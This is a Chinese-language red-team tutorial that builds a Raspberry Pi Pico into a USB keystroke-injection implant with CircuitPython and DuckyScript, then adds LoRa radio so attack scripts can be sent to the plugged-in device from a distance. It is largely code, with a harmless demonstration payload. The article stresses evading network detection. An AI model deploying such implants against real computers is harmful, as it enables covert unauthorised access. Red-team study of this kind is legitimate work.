本文详细介绍了如何将树莓派Pico改装成物理植入设备,通过CircuitPython实现键盘注入攻击,并扩展LoRa模块实现远程无线控制,构建完整的红队攻击链。
从零构建物理植入设备
本文是《红队物联网植入设备》系列的第二部分。我们将采用"从零开始"的方法,将树莓派Pico W配置为物理植入设备,用于执行类似USB橡皮鸭的攻击。随后通过集成LoRa模块将攻击能力提升到新高度。
所需硬件
- 树莓派Pico/Pico W
- micro USB数据线
- 计算机(开发用)
开发环境配置
-
CircuitPython环境搭建
- 访问CircuitPython官网下载对应Pico型号的固件(.UF2文件)
- 按住Pico的BOOTSEL按钮连接电脑,将固件拖入出现的RPI-RP2磁盘
- 成功安装后会出现名为CIRCUITPY的磁盘
-
Thonny IDE安装
- 从官网下载跨平台IDE
- 安装后通过右下角菜单选择Pico对应的COM端口
-
必要库安装
- 在Thonny中安装
adafruit-circuitpython-hid
库
- 通过Tools > Manage packages搜索安装
基础键盘注入攻击
在Pico的code.py文件中写入以下代码实现基础攻击:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import time
import board
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode
keyboard = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(keyboard)
def press_keys(*keys, delay=0.1):
keyboard.press(*keys)
time.sleep(delay)
keyboard.release_all()
time.sleep(2)
press_keys(Keycode.GUI, Keycode.R) # Win+R
layout.write('https://www.youtube.com/watch?v=dQw4w9WgXcQ\n')
|
进阶DuckyScript支持
- 安装
adafruit-circuitpython-ducky
库
- 创建duckyscript.txt文件:
1
2
3
4
|
WINDOWS r
DELAY 500
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
ENTER
|
- 修改code.py加载脚本:
1
2
3
4
|
import adafruit_ducky
duck = adafruit_ducky.Ducky('duckyscript.txt', keyboard, keyboard_layout)
while duck.loop() is not False:
pass
|
LoRa无线扩展方案
硬件准备
- 两个支持LoRa的设备(建议Adafruit Feather RP2040 with RFM95)
- 定制PCB(可选)
植入端代码
- 安装
adafruit-circuitpython-rfm9x
库
- 核心功能代码:
1
2
3
4
5
6
7
8
9
10
11
12
|
import adafruit_rfm9x
rfm9x = adafruit_rfm9x.RFM9x(spi, cs, reset, 915.0)
rfm9x.tx_power = 13
rfm9x.signal_bandwidth = 250000
def receive_scripts():
with open('lora_script.txt', 'w') as f:
while True:
packet = rfm9x.receive()
if packet and str(packet,'utf-8') == 'DNE':
break
f.write(str(packet,'utf-8')+'\n')
|
发送端配置
- 串口转发代码:
1
2
3
4
5
|
import usb_cdc
serial = usb_cdc.data
while True:
line = serial.readline().decode()
rfm9x.send(bytes(line, 'utf-8'))
|
- 主机端发送脚本:
1
2
3
4
5
6
|
import serial
with serial.Serial('COM14',115200) as ser:
with open('payload.txt') as f:
for line in f:
ser.write(line.encode()+b'\n')
ser.write(b'DNE\n')
|
攻击演示
- 将植入设备连接目标计算机
- 运行sender.py发送DuckyScript脚本
- 通过SDR设备可监听到LoRa传输信号
- 目标计算机会自动执行接收到的脚本
技术要点
- 使用CircuitPython实现快速开发
- 通过LoRa实现超视距控制(典型距离1-10km)
- 完全规避传统网络检测手段
- 支持动态更新攻击脚本